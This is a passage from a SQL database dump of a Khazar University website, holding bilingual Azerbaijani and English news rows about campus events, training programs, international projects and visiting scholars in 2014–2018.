candidates.</p>'),(6388,3628,'en','Contact Us','Contact Us','<img src=\"/files/social/_Raziya_Isayeva.jpg\" width=\"150\" height=\"260\" style=\"border:0px  #000000;width:150px;height:260px;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/admin/raziya_isayeva_cv.pdf\">Raziya&nbsp;Isayeva</a></strong></p><p><strong>Development Director</strong>  <br></p><p><strong>Email:&nbsp;</strong><a href=\"mailto:risayeva@khazar.org\">risayeva[at]khazar.org</a></p><p><a href=\"mailto:risayeva@khazar.org\"></a><strong>Phone</strong>: (+994 12)&nbsp;421 79 16 (207)</p><p><br></p><p><br></p><p><br></p>'),(6389,3629,'az','Xəzər Universitetinin doktorantı İngiltərədə təqdimat edəcək','2018-ci il noyabrın 23-də Xəzər Universitetinin German dilləri ixtisasında...','<p>2018-ci il noyabrın 23-də Xəzər Universitetinin German dilləri ixtisasında təhsil alan doktorant İlham Ağabilal oğlu Tağıyevin “<em>Günahsızlıq fərziyyəsi”: Dilçilikdə mizah məsələsi</em>” mövzusunda Böyük Britaniyanın paytaxtı Londonda yerləşən Middlesex Universitetində təqdimatı baş tutacaq.</p><p>İlham Tağıyevin tərcümeyi-halı, təqdimatın elanı və onun qısa təsviri ilə bu link vasitəsilə tanış olmaq olar:</p><p><a href=\"https://londonenglish.live/2018/11/12/presumption-of-innocence-the-case-of-linguistic-humour/\">https://londonenglish.live/2018/11/12/presumption-of-innocence-the-case-of-linguistic-humour/</a></p>'),(6390,3629,'en','Khazar University PhD student will deliver a presentation in England','On November 23, 2018, Ilham Aghabilal oghlu Taghiyev, a PhD...','<p>On November 23, 2018, Ilham Aghabilal oghlu Taghiyev, a PhD candidate in Germanic Languages, Khazar University, will make a presentation on “<em>Presumption of Innocence: The Case of Linguistic Humour</em>” at Middlesex University, London, UK.</p><p>The following link provides Ilham Taghiyev’s CV as well as the announcement of the presentation and its short description:</p><p><a href=\"https://londonenglish.live/2018/11/12/presumption-of-innocence-the-case-of-linguistic-humour/\">https://londonenglish.live/2018/11/12/presumption-of-innocence-the-case-of-linguistic-humour/</a>  <br></p>'),(6391,3630,'az','Yazarla tələbələrin görüşü keçiriləcək','2018-ci il noyabrın 30-u saat 11:00-da Xəzər Universitetinin “Mərmər” zalında...','<p>2018-ci il noyabrın 30-u saat 11:00-da Xəzər Universitetinin “Mərmər” zalında “Abaddon”, “Relslər üzərinə uzanmış adam” kimi kitabların müəllifi Rövşən Abdullaoğlu ilə görüş keçiriləcək. Yazıçı və psixoloq R.Abdullaoğlu tələbələrlə görüşdən sonra Khazar Store mağazasında kitablarını imzalayacaq.</p><p>Tədbir Khazar Store və Xəzər Universitetinin Kitab Klubu tərəfindən təşkil olunur.</p>'),(6392,3630,'en','The meeting with the writer will take place','On November 30, 2018, at 11:00, Rovshan Abdullaoghlu, the author...','<p>On November 30, 2018, at 11:00, Rovshan Abdullaoghlu, the author of the books such as “Abaddon” and \"A man lying on the rails\", will meet with students in Marble hall of Khazar University. R. Abdullaoghlu, a writer and psychologist, will sign books at Khazar Store after the meeting.</p><p>The event is jointly organized by Khazar Store and Khazar University Book Club.</p>'),(6393,3632,'az','UNICEF','UNICEF','<p>The 3-month training program for potential school leaders started at Khazar University with the support of UNICEF.&nbsp; The program started in September 2014 and will last until the middle of February 2015. The program includes one and a half months of preparation and one and a half months for the reporting period. The preparation period has been prolonged as a result of the late opening date of high schools (September 15<sup>th</sup>). The deadline for application submission was prolonged until the end of September. 150 application forms were received, and as a result of a three-tier selection process, 40 participants were identified as future potential leaders. The actual training has started on November 19th&nbsp;at Khazar University’s Neftchilar Campus.&nbsp;</p>'),(6394,3632,'en','UNICEF','UNICEF','<p>The 3-month training program for potential school leaders started at Khazar University with the support of UNICEF.&nbsp; The program started in September 2014 and&nbsp;will last until the middle of February 2015. The program includes one and a half months of preparation and one and a half months for the reporting period. The preparation period has been prolonged as a result of the late opening date of high schools (September 15<sup>th</sup>). The deadline for application submission was prolonged until the end of September. 150 application forms were received, and as a result of a three-tier selection process, 40 participants were identified as future potential leaders. The actual training has started on November 19th&nbsp;at Khazar University’s Neftchilar Campus.</p>'),(6395,3631,'az','TEMPUS','TEMPUS','<p><a href=\"http://www.khazar.org/en/menus/902/the_establishment_of_a_foundation_for_the_integration_of_disabled_people_into_heis_of_azerbaijan\">The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan</a></p><p><a href=\"http://www.khazar.org/en/menus/903/_project_actors_capacity_training_in_caucasus\">Project Actors Capacity Training in Caucasus</a></p><p><a href=\"http://www.khazar.org/en/menus/904/strengthening_the_specific_role_of_universities_as_lll_institutions\">Strengthening the Specific Role of Universities as LLL Institutions&nbsp;</a></p><p><a href=\"http://www.khazar.org/en/menus/905/curriculum_development_and_capacity_building_in_the_field_of_eu_studies\">Curriculum Development and Capacity&nbsp;Building in the field of EU studies</a></p><p><a href=\"http://www.khazar.org/en/menus/906/_migration_and_higher_education_developing_skills_and_capacity\">Migration and Higher Education: Developing Skills and Capacity</a>&nbsp;</p><p><a href=\"http://www.khazar.org/en/menus/907/development_of_training_network_for_improving_education_in_energy_efficiency\">Development of Training Network for Improving Education in Energy Efficiency</a>&nbsp;&nbsp;</p><p><a href=\"http://www.khazar.org/en/menus/908/student_support_and_development_services\">Student Support and Development&nbsp;Services</a></p><p><a href=\"http://www.khazar.org/en/menus/909/documentation_for_quality_assurance_of_study_programmes\">Documentation for Quality Assurance of Study Programmes</a></p>'),(6396,3631,'en','TEMPUS','TEMPUS','<p><a href=\"http://www.khazar.org/en/menus/902/the_establishment_of_a_foundation_for_the_integration_of_disabled_people_into_heis_of_azerbaijan\">The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan</a></p><p><a href=\"http://www.khazar.org/en/menus/903/_project_actors_capacity_training_in_caucasus\">Project Actors Capacity Training in Caucasus</a></p><p><a href=\"http://www.khazar.org/en/menus/904/strengthening_the_specific_role_of_universities_as_lll_institutions\">Strengthening the Specific Role of Universities as LLL Institutions&nbsp;</a></p><p><a href=\"http://www.khazar.org/en/menus/905/curriculum_development_and_capacity_building_in_the_field_of_eu_studies\">Curriculum Development and Capacity&nbsp;Building in the field of EU studies</a></p><p><a href=\"http://www.khazar.org/en/menus/906/_migration_and_higher_education_developing_skills_and_capacity\">Migration and Higher Education: Developing Skills and Capacity</a>&nbsp;</p><p><a href=\"http://www.khazar.org/en/menus/907/development_of_training_network_for_improving_education_in_energy_efficiency\">Development of Training Network for Improving Education in Energy Efficiency</a>&nbsp;&nbsp;</p><p><a href=\"http://www.khazar.org/en/menus/908/student_support_and_development_services\">Student Support and Development&nbsp;Services</a></p><p><a href=\"http://www.khazar.org/en/menus/909/documentation_for_quality_assurance_of_study_programmes\">Documentation for Quality Assurance of Study Programmes</a></p>'),(6398,3633,'en','VISEGRAD','VISEGRAD','<p>The project on&nbsp;\"Capacity Building of Caucasus Academic Public Administration Programmes on the basis of EU Administrative Principles”&nbsp;supported by the&nbsp;International Visegrad Fund&nbsp;will&nbsp;help to share the knowledge and experiences of V4 and Caucasus countries in Public Administration the teaching, training and research necessary for institutional and administrative capacity building, based on EU administrative principles, which include the rule of law, efficiency, effectiveness, openness, transparency, integrity and citizens’ participation. The project outcomes will facilitate the reform processes in the Caucasus region, preparation for EU integration and regional cooperation and awareness of the importance of Public Administration performance.</p>'),(6320,3594,'en','Khazar University Environmental Research Center represents Azerbaijan','“Mountain partnership”, an international institution, posted information declaring...','<p>“Mountain partnership”, an international institution, posted information declaring that Environmental Research Center of Khazar University is a representative of Azerbaijan at this institution.</p><p>Further information is available through the link:</p><p><a href=\"http://www.fao.org/mountain-partnership/members/members-detail/en/c/42855/\">http://www.fao.org/mountain-partnership/members/members-detail/en/c/42855/</a>.<br></p>'),(6301,3585,'az','İlia Dövlət Universitetində DESCnet layihəsinin yekun görüşü baş tutdu','2018-ci il oktyabrın 24-dən 26-dək Gürcüstanda İlia Dövlət Universitetində...','<p>2018-ci il oktyabrın 24-dən 26-dək Gürcüstanda İlia Dövlət Universitetində DESCnet layihəsinin sonuncu görüşü həyata keçirildi. Avropa İttifaqının Erasmus+ Jean Monnet proqramı tərəfindən maliyyələşən DESCnet layihəsinin məqsədi Qafqaz regionunda Avropa Tədqiqatları səviyyəsini artırmaq idi.</p><p>Görüşdə Xəzər Universitetini təmsil edən Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru və müəllimi Elmar Mustafayev DESCnet layihəsi çərçivəsində universitetdə görülən işlər barədə partnyor universitet nümayəndələrini məlumatlandırdı.</p><p>Qeyd edək ki, yekun görüş DESCnet layihəsinin nəticələrinin ümumi qiymətləndirməsinə istiqamətlənmişdi.</p><p>Yekunda, tərəfdaş universitetlərin müxtəlif istiqamətlərdə səmərəli əməkdaşlığa hazır olduqları bildirildi, eyni zamanda, Erasmus+ Jean Monnet Network proqramına yenidən müraciət edilməsi qərara alındı.</p>'),(6280,3574,'en','Thesis Presentation by Graduates and PhD candidates to be held','On November 13, 2018, at 10:00, Graduates and PhD candidates will deliver presentations...','<p>On November 13, 2018, at 10:00, Graduates and PhD candidates will deliver presentations (10 minutes for presentation + 5 minutes for question-answer session) of their dissertations.</p><p>It is required all the PhD candidates and heads of departments participate in the presentation.</p><p>It is recommended to prepare presentations in multimedia and PowerPoint format.</p><p>The structure of the presentation should be as follows:</p><ol style=\"font-size:large\"><li>Short information about the topic</li><li>Objective and duties</li><li>Methods</li><li>Expected results</li><li>Publications and names of the conferences (if available)</li></ol><p>In order to prepare the agenda of the seminar, heads of the departments are requested to send the names of the participants and topics to Moozhan Serpoush (<a href=\"mailto:moozhan.serpoush@khazar.org\">moozhan.serpoush@khazar.org</a>) or Sabina Sharifovaya (<a href=\"mailto:ssharifova@khazar.org\">ssharifova@khazar.org</a>) until 17:00, November 5, 2018.</p>'),(6281,3575,'az','Potensial məktəb direktorları kursunun növbəti buraxılışı','2018-ci il oktyabrın 26-da Xəzər Universitetinin Mərmər salonunda universitetin...','<p>2018-ci il oktyabrın 26-da Xəzər Universitetinin Mərmər salonunda universitetin Potensial məktəb direktorları kursunun 8 və 9-cu buraxılışına həsr olunmuş təntənəli mərasim keçirildi. Mərasimdə universitetin rəhbərliyi, əməkdaşları və tələbələri, kursun məzunları və qonaqlar iştirak edirdilər. Xəzər Universiteti himninin ifası ilə başlanan mərasimdə sonra iştirakçılara universitetin Kamera orkestrinin (bədii rəhbər universitetin Musiqi və incəsənət departamentinin müdiri, Əməkdar müəllim, pianoçu dos. Zülfiyyə Sadıqova) Azərbaycan və dünya bəstəkarlarının əsərlərindən ibarət konsert təqdim olundu.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı geniş nitq söyləyərək, müasir dövrdə qloballaşan dünyada təhsilin, o cümlədən Azərbaycan təhsilinin qarşısında duran mühüm vəzifələrdən, bu vəzifələri uğurla yerinə yetirmək üçün məzunların üç ay ərzində kursda əldə etdikləri idarəetmə bilikəri və təcrübəsinin əhəmiyyətindən danışdı, tövsiyələrini verdi və onlara uğurlu karyera arzu etdi.</p><p>Sonra məzunlara “Peşəkar İnkişaf Sertifikatı”nın təqdim olunmasına başlanıldı. Sertifikatları professor Hamlet İsaxanlı, İdarəetmə və tələbə işləri üzrə prorektor İsaxan İsaxanlı, Elmi işlər üzrə prorektor dos. İradə Xəlilova, Təhsil fakültəsinin dekanı dos. Elza Səmədova, İnkişaf mərkəzinin direktoru Raziyə İsayeva və kursu tədris edən müəllimlər təqdim etdilər. Xatirə şəkilləri çəkildi.</p><p>Məzunlar adından Ruhiyyə İmanova və Lalə Nağılı çıxış edərək, kursun və tədrisin yüksək səviyyədə təşkilinə görə universitet rəhbərliyinə, kursun təşkilatçılarına və müəllimlərə minnətdarlıqlarını, qazandıqları idarəetmə bacarıq və vərdişlərinin karyeralarında önəmli rol oynayacağını bildirdilər. Kursun keçmiş məzunu – 72 saylı məktəbin direktoru Fərqanə Abbasova kursda əxz etdiyi biliklərin praktik işində ona böyük yardım göstərdiyindən danışdı.</p><p>Kursun məşğələlərindən çəkilmiş fotolardan ibarət slayd-şou nümayiş etdirildi. Universitetin rəqs qrupu gözəl çıxışı ilə məzunları təbrik etdi. Məzunların xahişi ilə şair Hamlet İsaxanlı “Yaşamağa nə var ki...” adlı şeirini söylədi.</p><p>Potensial məktəb direktorları kursu 2014-cü ildən fəaliyyətə başlayıb, 600 nəfərdən çox məzuna sertifikat vermişdir, onlardan 50 nəfərdən çoxu direktor, direktor müavini təyin olunmuşdur.</p>'),(6282,3575,'en','Next Graduation Ceremony for Potential School Principals Course','On October 26, 2018, a solemn ceremony dedicated to the 8th and 9th graduation from...','<p>On October 26, 2018, a solemn ceremony dedicated to the 8<sup>th</sup> and 9<sup>th</sup> graduation from Potential School Principals Course was held in “Marble” hall at Khazar University. The ceremony was attended by the University administration, staff, students, and course graduates. The ceremony started off by Khazar University anthem. Then, Chamber Orchestra of Khazar University (art director: a pianist Zulfiyya Sadigova, Honored Teacher, Head of the Department of Music and Fine Arts) performed a concert program that included compositions produced by Azeri and foreign composers.</p><p>Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered a speech and mentioned the obligations of Azerbaijani education system and underlined the importance of management skills and experience gained during a three-month course. Prof. Hamlet Isakhanli also gave valuable advice to the graduates and wished them success.</p><p>Then the graduates were presented with “Professional Development Certificate” by Prof.Hamlet Isakhanli, Dr. Isakhan Isakhanli, Vice rector for Administration and Student Affairs; Assoc.Prof. Irada Khalilova, Vice-rector for Research; Assoc.Prof. Elza Samadova, Dean of the School of Education. Memory photos were taken.</p><p>On behalf of the graduates, Ruhiyya Imanova and Lala Naghili, delivered speeches and expressed their gratitude to the University administration, course organizers and instructors, and added that the skills and knowledge gained at the course would play an important role in their career. Fargana Abbasova, a former graduate of the course and Principal of the school #72, stressed that the knowledge and skills that she had acquired at the course had been of practical importance in her career.</p><p>Then a slide of photos taken at the course was demonstrated. A dance group of the University performed a program. On request of the graduates, poet Hamlet Isakhanli recited his poem “The life would be so easy!”</p><p>Potential School Principals Course started in 2014 and more than 600 graduates have been certified since then. More than 50 of them are school principals and vice-principals.</p>'),(6283,3576,'az','Fulbright tədqiqatçıları üçün tədbir','2018-ci il oktyabrın 26-da Xəzər Universitetinin “Neftçilər” kampusunda Fulbright...','<p>2018-ci il oktyabrın 26-da Xəzər Universitetinin “Neftçilər” kampusunda Fulbright qonaq tədqiqatçıları üçün qarşılama mərasimi təşkil edildi. Tədbirin məqsədi Fulbright qonaq tədqiqatçılarını Xəzər Universitetinin heyətinə təqdim etmək idi.</p><p>Hazırda payız semestrində Şərqi Kentuki Ştatının Təhsil Kollecinin keçmiş professoru Dr. Qaisar Sultana Xəzər Universitetinin qonaq tədqiqatçısıdır. Dr. Qaisar Sultana xüsusi təhsil sahəsində böyük təcrübəyə malikdir. Proqram çərçivəsində o, müxtəlif fənlərdən dərs deməklə yanaşı, Xəzər Universitetinin İnkişaf Mərkəzində təlimçi kimi də fəaliyyət göstərir.</p><p>Tədbirdə, eyni zamanda, Dr. Nadeem Fazal və Dr. Nabil Al-Tikriti də iştirak etdilər. Azərbaycan Tibb Universitetində tədqiqat aparan Dr. Nadeem Fazal, eyni zamanda, Xəzər Universitetinin doktorantları üçün akademik məqalə və tədqiqat sahəsində seminarlar da aparır. Mary Washington Universitetinin dosenti Dr. Nabil Al-Tikriti isə payız semestrini Bakı Dövlət Universitetində keçirəcək.</p><p>Tədbirdə qonaq tədqiqatçılar qısa nitq söylədilər. Musiqi və incəsənət departamentinin müdiri Zülfiyyə Sadıqova pianoda konsert proqramı ilə çıxış etdi. Qonaqlar üçün çay süfrəsi açıldı.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı da tədbirdə iştirak edirdi.</p><p>ABŞ Dövlət Departamentinin Təhsil və Mədəniyyət İşləri Bürosunun proqramı olan Fulbright təqaüd proqramı, ABŞ-ın Bakıdakı səfirliyi tərəfindən idarə olunur.</p>'),(6284,3576,'en','Welcome Event for Fulbright Scholars','On October 26, 2018, a Welcome Event for Fulbright visiting scholars was organized...','<p>On October 26, 2018, a Welcome Event for Fulbright visiting scholars was organized at Khazar University’s Neftchiler Campus.</p><p>The goal of the event was to welcome the recipients of the Fulbright Visiting Scholar Fellowship to the academic community of Khazar University.</p><p>This current fall semester Khazar University hosts Dr. Qaisar Sultana, Professor Emeritus at the College of Education of the Eastern Kentucky University. Dr. Sultana possesses vast experience in education, in particular, special education. Within her program at Khazar University, she teaches several courses in education and is also actively involved with the University’s Development Center as a trainer and facilitator.</p><p>Participants of the event also included Dr.&nbsp;Nadeem Fazal,&nbsp;Professor of Microbiology, Immunology &amp; Physiology of&nbsp;Chicago State University College of Pharmacy (USA)   and Dr. Nabil Al-Tikriti. Prof. Nadeem Fazal who conducts research at the State Medical University also provides effective academic writing and research workshops and seminars to PhD students of Khazar University. Dr. Nabil Al-Tikriti, Associate Professor of History at the University of Mary Washington, will spend fall semester at Baku State University.</p><p>The welcome event included short speeches by visiting professors, musical performance by the head of the Department of Music and Fine Arts Ms. Zulfiyya Sadigova (piano) as well as&nbsp;networking over tea and sweets. Founder of Khazar University, Chairman of its Board of Directors and Trustees Professor Hamlet Isakhanli also participated in the welcome event.</p><p>Fulbright Visiting Scholar, a program of the Bureau of Educational and Cultural Affairs of the U.S. Department of State, is administered by the U.S. Embassy in Baku.</p>'),(6285,3577,'az','KPMG şirkətinin nümayəndəsi tələbələrlə görüşdü','2018-ci il oktyabrın 24-də Xəzər Universitetində Karyera Mərkəzinin təşəbbüsü ilə...','<p>2018-ci il oktyabrın 24-də Xəzər Universitetində Karyera Mərkəzinin təşəbbüsü ilə KPMG şirkətinin nümayəndəsi, Nərgiz İbrahimovanın iştirakı ilə tələbələrlə görüş keçirildi. Öncə şirkət haqqında qısa məlumat verildi. Daha sonra isə “KPMG onlayn imtahan” prosesinin strukturu və&nbsp;tələbələrin mütləq dərəcədə nəzərə almalı olduğu məqamlar barədə məlumat verildi.</p><p>Görüşün sonunda Xəzər Universitetinin 3-cü və 4-cü kurs tələbələrinin KPMG şirkətində təcrübə keçmək imkanını yaratmaq məqsədilə imtahan üçün qeydiyyat aparıldı.</p>'),(6286,3577,'en','KPMG company associate meets students','On October 24, 2018, on initiatives of Career Center of Khazar University...','<p>On October 24, 2018, on initiatives of Career Center of Khazar University, Nargiz Ibrahimova, KPMG company associate met with Khazar University students.  First, the students were provided with information about the company. Then the students were informed about the structure of “KPMG online exam” process, as well as the points which should definitely be considered.</p><p>At the end of the meeting, the third and fourth year students were registered for an internship at KPMG.</p>'),(6287,3578,'az','Xəzər Universitetinin məzununun müsahibəsi yayınlandı','2018-ci il oktyabrın 30-da “Palitra” qəzetinin rəsmi saytında Xəzər Universitetinin...','<p>2018-ci il oktyabrın 30-da “Palitra” qəzetinin rəsmi saytında Xəzər Universitetinin məzunu, hazırda İtaliyada PhD təhsili alan Emin Rüstəmovla müsahibə yayınlanmışdır.</p><p>Müsahibəni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://palitranews.az/news.php?id=94360\">http://palitranews.az/news.php?id=94360</a>.</p>'),(6288,3578,'en','An interview of Khazar University graduate is posted','On October 30, 2018, an interview with Emin Rustamov, a Khazar University graduate...','<p>On October 30, 2018, an interview with Emin Rustamov, a Khazar University graduate, who is currently a PhD candidate in Italy, was posted on official website of newspaper “Palitra”.</p><p>The interview is available through the following link:</p><p><a href=\"http://palitranews.az/news.php?id=94360\">http://palitranews.az/news.php?id=94360</a>.</p>'),(6289,3579,'az','Tələbələr yoqa təliminə qoşuldular','2018-ci il oktyabrın 28-də Xəzər Universitetinin tələbələri aralıq imtahanından əvvəl...','<p>2018-ci il oktyabrın 28-də Xəzər Universitetinin tələbələri aralıq imtahanından əvvəl Dədə Qorqud parkına toplaşaraq, peşəkar yoqa təlimçisi Bəxtiyar Sadıxovun rəhbərliyi ilə yoqa-meditasiya sessiyasına qatıldılar. Universitetin Psixologiya departamentinin müəllimi Nilufər Əlizadənin təşkil etdiyi imtahandan öncə tələbələri ruhlandırmaq və sağlam məşğuliyyətləri təbliq etmək məqsədi daşıyan, yoqa sessiyasına tələbələr maraq göstərdilər və aktiv iştirak etdilər.</p><p>Tələbələrin təliminə ətrafda istirahət edən insanlar da qoşuldular.</p>'),(6290,3579,'en','Students take part in a yoga training','On October 28, 2018, Khazar University students, before mid-term exams...','<p>On October 28, 2018, Khazar University students, before mid-term exams, joined a yoga-meditation session guided by Bakhtiyar Sadikhov, a professional yoga trainer, in the Dada Gorgud park. The yoga session initiated by Nilufar Alizadeh, instructor of the Department of Psychology, was organized on the purpose of encouraging students for exams and promote a healthy lifestyle. The students welcomed the session and took an active part.</p><p>People resting around also joined the session.</p>'),(6291,3580,'az','Qardaşxan Əzizxanlının şeirlər kitabı təqdim edildi','2018-ci il oktyabrın 27-də Mirzə Fətəli Axundzadə adına Azərbaycan Milli Kitabxanasında...','<p>2018-ci il oktyabrın 27-də Mirzə Fətəli Axundzadə adına Azərbaycan Milli Kitabxanasında Xəzər Universitetinin müəllimi, tanınmış şair Qardaşxan Əzizxanlının 60 illik yubileyi münasibətilə nəşr olunmuş “İlkim də sən, indim də sən, sonum sən” adlı şeirlər kitabının təqdimatı və “İmza günü” keçirildi.</p><p>Azərbaycan Yazıçılar Birliyi və Milli Kitabxana tərəfindən birgə təşkil edilən tədbirdə iştirakçılar əvvəlcə yubilyarın yaradıcılığına dair “Qardaşxan Əzizxanlı-60” adlı sərgi ilə tanış oldular. Sərgidə Milli Kitabxananın fondunda olan şairin müəllifliyi, redaktorluğu, layihə rəhbəri olduğu kitablar və mətbuat materialları sərgilənmişdi.</p><p>Tədbirdə Milli Məclisin deputatı professor Musa Qasımlı, filologiya elmləri doktoru Rüstəm Kamal, tarix elmləri üzrə fəlsəfə doktoru Lətif Şüküroğlu, şair-kinodramaturq İlqar Fəhmi, şairlərdən Əjdər Ol, Şahin Musaoğlu, Xanəmir, Yusif Savalan, həmçinin, Qarabağ müharibəsi veteranı İlham İsmayıl Qardaşxan Əzizxanlının yaradıcılığı haqqında danışdılar.</p><p>Mərasimdə Xəzər Universitetinin tələbələri Aytən Əsgərova, Ayşən Mustafalı, Səidə Cabarova, Aytac Həsənova, Pinar Məmmədzadə, Nəzrin İsmayıllı, Səkinə Ələkbərova və “Zəkalar” liseyinin şagirdləri Aydan Mehdiyeva, Nəzrin Ağazadə, Şəbnəm Haşımlı, Fateh Şıxlar, Nilufər Tağıyeva, Aydan Paşa, Nizami rayon 12 saylı tam orta məktəbin V sinif şagirdi İbrahim Əhmədov ədəbi-bədii kompozisiya ilə çıxış edirdilər.</p><p>Təqdimat mərasimində Qardaşxan Əzizxanlı kitab barədə fikirlərini bölüşdü, tədbirin təşkilatçılarına və iştirakçılarına təşəkkürünü bildirdi.</p><p>Sonda Əhməd Cavad və Üzeyir Hacıbəyov sənətinin möhtəşəm nümunəsi olan \"Çırpınırdı Qara dəniz\"&nbsp;mahnısının tədbir iştirakçıları tərəfindən hamılıqla oxunması tədbirə əzəmət verməklə xüsusi məna və məzmun bəxş edib.</p><p>Tədbir barədə daha geniş məlumatı&nbsp;bu linklər vasitəsilə əldə etmək olar:&nbsp;</p><p><a href=\"https://azertag.az/xeber/Qardasxan_Azizxanlinin_Ilkim_de_sen_indim_de_sen_sonum_sen_adli_seirler_kitabi_teqdim_edilib-1208946\">https://azertag.az/xeber/Qardasxan_Azizxanlinin_Ilkim_de_sen_<br>indim_de_sen_sonum_sen_adli_seirler_kitabi_teqdim_edilib-1208946</a></p><p><a href=\"http://edebiyyatqazeti.az/news/gundem/2610-ilkim-de-sen-indim-de-sen-sonum-sen-adli-seirler-kitabinin-teqdimat-merasimi-olub\">http://edebiyyatqazeti.az/news/gundem/2610-ilkim-de-sen-indim-de-sen-sonum-sen-adli-seirler-kitabinin-teqdimat-merasimi-olub</a></p><p><a href=\"http://anl.az/new/az/news-view/675\">http://anl.az/new/az/news-view/675</a></p>'),(6292,3580,'en','Poetry book by Gardashkhan Azizkhanli is presented','On October 27, 2018, a presentation and “Signature day” of a poetry book entitled...','<p>On October 27, 2018, a presentation and “Signature day” of a poetry book entitled “You are my Past, you are my Present, you are my End” by Gardashkhan Azizkhanli, a prominent poet and instructor of Khazar University, was held at Azerbaijan National Library named after Mirza Fatali Akhundov. The event was dedicated to 60th anniversary of the poet.</p><p>The event was organized on a joint initiative of Azerbaijan Union of Writers and National Library. Participants became familiar with an exhibition entitled “Gardashkhan Azizkhanli-60” in which the books authored and edited by the poet were demonstrated.</p><p>Musa Gasimli, Member of National Assembly; Rustam Kamal, D.Sc. in Philology; Latif Shukurov, PhD in History; Ilgar Fahmi, a poet-playwright; poets - Ajdar Ol, Shahin Musaoghlu, Khanamir, Yusif Savalan as well as Ilham Ismayil, a Karabakh war veteran, delivered speeches about the career of Gardashkhan Azizkhanli.</p><p>Aytan Asgarova, Ayshan Mustafali, Saida Jabarova, Aytaj Hasanova, Pinar Mammadzadeh, Nazrin Ismayilli, Sakina Alekberova, as well as Aydan Mehdiyeva, Nazrin Aghazadeh, Shabnam Hashimli, Fateh Shikhlar, Nilufar Taghiyeva, Aydan Pasha, pupils of \"Zekalar\" Lyceum, and Ibrahim Ahmadov, a fifth-grade pupil of school #12 of Nizami district, performed literary compositions.</p><p>Gardashkhan Azizkhanli shared his views on the book and expressed his gratitude to the participants.</p><p>At the end of the event, “Waving Black Sea”, a masterpiece by Ahmad Javad and Uzayir Hajibeyov, was sung jointly by the participants which contributed special splendour to the event.</p><p>Further information about the event is available through the following links:</p>  \r\n<p><a href=\"https://azertag.az/xeber/Qardasxan_Azizxanlinin_Ilkim_de_sen_indim_de_sen_sonum_sen_adli_seirler_kitabi_teqdim_edilib-1208946\">https://azertag.az/xeber/Qardasxan_Azizxanlinin_Ilkim_de_sen_</a></p><p><a href=\"https://azertag.az/xeber/Qardasxan_Azizxanlinin_Ilkim_de_sen_indim_de_sen_sonum_sen_adli_seirler_kitabi_teqdim_edilib-1208946\">indim_de_sen_sonum_sen_adli_seirler_kitabi_teqdim_edilib-1208946</a></p><p><a href=\"http://edebiyyatqazeti.az/news/gundem/2610-ilkim-de-sen-indim-de-sen-sonum-sen-adli-seirler-kitabinin-teqdimat-merasimi-olub\">http://edebiyyatqazeti.az/news/gundem/2610-ilkim-de-sen-indim-de-sen-sonum-sen-adli-seirler-kitabinin-teqdimat-merasimi-olub</a></p><p><a href=\"http://anl.az/new/az/news-view/675\">http://anl.az/new/az/news-view/675</a></p>'),(6293,3581,'az','British Council Azerbaijan-ın yeni təyin edilmiş direktoru Xəzər Universitetində olacaq','2018-ci il noyabrın 6-sı saat 11:30-da British Council Azerbaijan-nın yeni...','<p>2018-ci il noyabrın 6-sı saat 11:30-da British Council Azerbaijan-nın yeni təyin edilmiş direktoru Summer Xia Xəzər Universitetinin qonağı olacaq. Summer Xia Xəzər Universitetinin Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə görüşərək, gələcək əməkdaşlıqlar və lahiyələr haqqında müzakirələr etməsi nəzərdə tutulur. Psixologiya departamentinin müəllimi Nilufər Əlizadənin təşkil etdiyi görüşdən sonra Summer Xia Xəzər Universitetinin tələbələri ilə görüşərək, onların suallarını da cavablandıracaq.</p>  \r\n<p><a href=\"/files/events/poster-british.jpg\"><img src=\"/files/events/poster-british.jpg\" style=\"float:left;width:352px;height:250px;margin-left:7px;margin-top:7px;margin-bottom:7px\"></a><br></p>'),(6294,3581,'en','Newly appointed director of British Council Azerbaijan is expected to visit Khazar University','On November 6, 2018, at 11:30, Mr. Summer Xia, newly appointed...','<p>On November 6, 2018, at 11:30, Mr. Summer Xia, newly appointed director of British Council Azerbaijan, will visit Khazar University. Mr. Summer Xia will meet Prof. Hamlet Isakhanli, founder of Khazar University and Chairman of its Board of Directors and Trustees, and have a discussion on collaboration and projects. After the meeting, which is organized by Nilufar Alizadeh, instructor of the Department of Psychology, Mr. Summer Xia will meet Khazar University students and answer their questions.</p><p><a href=\"/files/events/poster-british.jpg\"><img src=\"/files/events/poster-british.jpg\" style=\"float:left;width:352px;height:250px;margin-left:7px;margin-top:7px;margin-bottom:7px\"></a><br></p>'),(6295,3582,'az','Karyera Mərkəzi “Məlumat sessiyası” keçirəcək','2018-ci il oktyabrın 29-dan noyabrın 2-si saat 10:00-dan 16:00-dək...','<p>2018-ci il oktyabrın 29-dan noyabrın 2-si saat 10:00-dan 16:00-dək Xəzər Universiteti Karyera Mərkəzinin “Məlumat sessiyası” keçiriləcək. Məlumat sessiyası Xəzər Universitetinin “Neftçilər” kampusunun girişində baş tutacaq.</p><p>Sessiya Xəzər Universitetinin bütün tələbələri üçün nəzərdə tutulmuşdur.</p><p><a href=\"/files/events/poster-career-info-session.jpg\" target=\"_blank\"><img src=\"/files/events/poster-career-info-session.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:250px;height:352px\"></a><br></p>'),(6296,3582,'en','Career Center holds “Information session”','On October 29 – November 2, 2018, at 10:00, Khazar University...','<p>On October 29 – November 2, 2018, at 10:00, Khazar University Career Center will hold “Information session” at the entrance of “Neftchiler” campus of Khazar University.</p><p>The session is for all the students of Khazar University.</p>  \r\n<p><a href=\"/files/events/poster-career-info-session.jpg\" target=\"_blank\"><img src=\"/files/events/poster-career-info-session.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:250px;height:352px\"></a><br></p>'),(6297,3583,'az','“Uşaqlarda inkişaf pozuntuları” adlı təlim olacaq','2018-ci il noyabrın 20-də MD, PhD 